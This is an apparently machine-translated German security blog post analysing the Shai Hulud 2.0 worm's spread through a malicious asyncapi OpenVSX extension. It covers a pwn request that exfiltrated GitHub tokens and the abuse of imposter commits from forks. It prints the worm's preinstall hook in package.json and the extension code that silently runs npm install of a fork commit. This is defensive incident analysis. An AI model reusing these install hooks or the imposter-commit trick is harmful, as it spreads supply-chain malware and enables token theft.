Die Geschichte von Shai Hulud 2.0 enthält weitere Wendungen, auf die wir besonders hinweisen möchten, da wir zum ersten Mal beobachtet haben, dass sie sich auf mehrere Ökosysteme ausgeweitet hat. Bei der Untersuchung dieses Vorfalls haben wir wichtige neue Informationen entdeckt, die tiefere Einblicke in die Vorgehensweise der Angreifer geben. Hier sind einige Highlights unserer Erkenntnisse:
- Die erste Verbreitung des Wurms begann bereits am 23. November 2025 um 23:36 UTC, als die Angreifer eine bösartige Version des
asyncapi/asyncapi-VorschauErweiterung auf OpenVSX. - Während des ersten Angriffs benannten die Angreifer ihr GitHub-Konto um in
Unbekannter Wunderer1.
Wenn ich mit Journalisten über die Vorfälle bei S1ngularity und Shai Hulud gesprochen habe, war die große unbeantwortete Frage immer: Was ist das Endziel des Angreifers? Monatelang hatten wir nicht viel, worauf wir uns stützen konnten, nur Vermutungen und Intuition.
Aber dieses winzige, von der Überlieferung inspirierte Detail bestätigt tatsächlich eine Theorie, die ich von vielen Forschern gehört habe: Diese Angreifer verursachen nicht nur Chaos zum Spaß oder aus Profitgier. Sie versuchen auch, eine Botschaft zu vermitteln. Es ist die Art von„Seht her, wie zerbrechlich eure Welt wirklich ist“-Energie, die aufkommt, wenn jemand der Meinung ist, dass das Ökosystem zu vertrauensselig, zu automatisiert und zu leicht zu durchbrechen geworden ist.
Ob das nun echte Motivation oder nur theatralisches Selbstbild ist, spielt eigentlich keine Rolle. Das Ergebnis ist dasselbe: ein Angriff, der nicht nur darauf abzielt, sich zu verbreiten, sondern uns auch mit der unangenehmen Wahrheit zu konfrontieren, dass wir etwas zu viel Vertrauen in Systeme gesetzt haben, die weitaus anfälliger sind, als wir glauben möchten.
Der unbekannte Wanderer
Der Benutzername UnknownWonderer1 ist mit ziemlicher Sicherheit eine Anspielung auf die Zensunni-Wanderern aus „Dune“. Dabei handelte es sich um Nomaden, die Jahrtausende lang durch verschiedene Welten zogen, vertrieben und von den Mächtigen weitgehend unbeachtet.
Mit der Zeit wurden diese Wanderer zu den Fremen, die einzige Kultur, die wirklich im Einklang mit Shai-Hulud, den großen Sandwürmern von Arrakis, stand. Wenn man dies mit einer Malware namens Shai Hulud in Verbindung bringt, erscheint der Bezug nicht mehr zufällig. Es entsteht eine von Dune inspirierte Symmetrie: der Wanderer, der sich über den Sand bewegt, und der Wurm, der sich still unter ihm durchgräbt.
In der Dune-Saga stehen die Zensunni für Menschen, die außerhalb offizieller Strukturen leben und übersehen werden, bis ihre Widerstandsfähigkeit ganze Zivilisationen verändert. Es ist nicht schwer zu verstehen, warum diese Vorstellung für einen Angreifer attraktiv sein könnte, der sich durch eine moderne Software-Lieferkette schleicht.
Durch die Übernahme dieser Identität geben sich die Angreifer als eine ähnlich unsichtbare Präsenz im Ökosystem aus und bewegen sich unbemerkt zwischen Repositorys, Konten und Paketen hin und her.
Diese Darstellung deutet sogar auf eine mögliche Motivation hin. Sie suggeriert jemanden, der sich selbst als Außenseiter sieht und ein System herausfordert, das er für fragil oder selbstgefällig hält, oder vielleicht einen Wanderer, der Schwächen in einer Umgebung aufdeckt, die ihn unterschätzt hat.
Und diese Metapher passt unheimlich gut zum Verhalten der Malware: still, hartnäckig und aus den toten Winkeln heraus agierend, die niemand zu überprüfen denkt. All dies lässt den Benutzernamen weniger wie eine zufällige Wahl erscheinen, sondern eher wie einen Einblick in die Vorstellung der Angreifer von ihrer Rolle und ihrer Wirkung. Dieses Sprichwort, das The Zensunni Whip zugeschrieben wird, scheint irgendwie relevant und vorausschauend zu sein:
Man kann eine Marionette nicht mit nur einer Schnur manipulieren.
Ausbreitung in OpenVSX
Am 23. November 2025 um 23:36 UTC wird eine neue Version der asyncapi/asyncapi-Vorschau Auf OpenVSX wurde eine Erweiterung veröffentlicht, die den Shai Hulud 2.0-Wurm installieren würde. Die Art und Weise, wie sie eingeführt wurde, war sehr hinterhältig und es lohnt sich, dies genauer zu untersuchen. Hier finden Sie eine Schritt-für-Schritt-Übersicht darüber, wie sich der Angriff entwickelt hat.
Schritt 1 – Exfiltrationsgabel vorbereiten
Am 22. November 2025 um 16:06 UTC hat der Angreifer vskpsfkbjs auf GitHub einen Commit in einem Fork des asyncapi/cli Repository.
https://github.com/asyncapi/cli/commit/9cbab46335c4c3fef2800a72ca222a44754e3ce1
Darin sehen wir, wie sie ein Skript ändern, das von einer ihrer GitHub-Aktionen verwendet wird, sodass es die lokale Git-Konfiguration an einen webhook.site Endpunkt.

Ist Ihnen aufgefallen, dass es zu einem Fork außerhalb des Repositorys gehört? Das ist wichtig. Denn dies ist ein klassisches Beispiel für einen „Pwn Request“. Er befindet sich ausschließlich im Fork des Repositorys des Angreifers, wird aber später aus dem asyncapi Repository.
Schritt 2 – Angriff PR vorbereiten
Als Nächstes sehen wir am 22. November 2025 um 16:29 UTC, wie der Angreifer in seiner Fork einen Zweig namens Patch-1.
https://github.com/asyncapi/cli/commit/6473466dd512125032cf2f8a28f391f8722d4901
Hier sind einige Dinge erwähnenswert:
- Beachten Sie, dass sich der Benutzername geändert hat von
vskpsfkbjszuUnbekannter Wunderer1Es scheint, dass der Angreifer sein GitHub-Konto umbenannt hat. - Der Commit scheint nur Textänderungen zu enthalten.

Das ist verwirrend, oder? Warum nur Textänderungen? Die Antwort liegt in der Funktionsweise des GitHub-Aktions-Workflows. Da die anfälligen GitHub-Aktionen den Code aus dem Fork auschecken, der zusammengeführt wird, ziehen sie auch die bösartige Version der Datei mit rein..github/workflows/changeset-utils/index.js, die die Angreifer bereits mit ihrer Exfiltrations-Payload vorbereitet hatten. Diese schädliche Datei wird dann im Kontext des offiziellen Repositorys ausgeführt und exfiltriert deren secrets.
Schritt 3 – Exfiltrations-PR einreichen
Als Nächstes, am 22. November 2025 um 16:38 UTC, sendet der Angreifer einen PR an das offizielle Repository, um seine Exfiltrations-Payload auszulösen. Wir sehen Beweise dafür in der SonarQube :
https://sonarcloud.io/summary/new_code?id=asyncapi_cli&pullRequest=1903

Zu diesem Zeitpunkt wird ihre schädliche Nutzlast ausgeführt worden sein und das GitHub-Token an ihren Exfiltrationspunkt gesendet haben.
Schritt 4 – Beweise verstecken
Zu diesem Zeitpunkt hat der Angreifer die GitHub-Token für das Repository exfiltriert. Nur 2 Minuten und 44 Sekunden später, um 16:40 UTC, schloss er seinen Pull-Request, um seine Spuren zu verwischen.
Schritt 5 – Wurm einsetzen
Am nächsten Tag, dem 23. November 2025, um 22:56 UTC, erstellten die Angreifer einen Commit (wahrscheinlich auf ihrem Fork), der offenbar von GitHub Actions verfasst wurde. Der Commit löscht alle Dateien im Repository mit Ausnahme von package.json und fügt den Wurm hinzu.
https://github.com/asyncapi/cli/commit/2efa4dff59bc3d3cecdf897ccf178f99b115d63d

Die Datei package.json wird geändert, um den Wurm einfach auszuführen:
{
"name": "asyncapi-utility",
"version": "1.0.0",
"bin": { "asyncapi-utility": "setup_bun.js" },
"scripts": {
"preinstall": "node setup_bun.js"
},
"license": "MIT"
}
Schritt 6 – Bereitstellung einer bösartigen OpenVSX-Erweiterung
Schließlich wurde die bösartige OpenVSX-Erweiterung am 23. November 2025 um 23:36 UTC bereitgestellt. Hier ist der bösartige Code, den sie in den Aktivierungscode für die Erweiterung eingefügt haben:
console.log("Congratulations, your extension \"asyncapi-preview\" is now active!");
try {
0;
const e = a.spawn("npm", ["install", "github:asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63d"], {
detached: true,
stdio: "ignore"
});
if ("function" == typeof e.unref) {
e.unref();
}
e.on("error", e => {});
} catch (e) {}
Das sieht doch nicht besonders verdächtig aus, oder? Es scheint so einfach zu sein wie die Installation des AsyncAPI-CLI-Pakets aus einem bestimmten Commit im offiziellen Repository, was eigentlich sicher sein sollte. Aber das ist es nicht. Es bezieht sich auf den oben genannten bösartigen Commit, der in einem Fork existierte, nicht im offiziellen Repository. Sind Sie schon verwirrt?
Verwirrung stiften? Verwirrung im Repository?
Als wir den oben genannten „bösartigen“ Code zum ersten Mal sahen, waren wir verblüfft. Wie kann es unsicher sein, ein Paket aus einem legitimen GitHub-Repository zu installieren? Die Antwort lautet „Imposter Commits“, eine wenig bekannte Eigenschaft von GitHub. Wenn jemand ein Repository auf GitHub forkt, kann auf alle Commits im Fork auch über den Commit-Hash des ursprünglichen Repositorys zugegriffen werden. Nur wenn man sich den Commit in der GitHub-Benutzeroberfläche ansieht, erhält man einen Hinweis darauf, dass etwas nicht stimmt:

Dieses Verhalten ist wirklich kontraintuitiv und nicht sehr sicherheitsfreundlich. Denn wenn Sie einen Befehl wie npm install asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63dSie erwarten, dass Code aus dem Repository „asyncapi/cli“ installiert wird. Nicht ein Commit auf einem Fork, der nicht einmal mehr existiert. Diese Art von Angriff könnte als Verwirrung im Repository Verletzlichkeit.
Anhang – Detaillierte GitHub-Zeitleiste
Sichern Sie Ihre Software jetzt.



.avif)
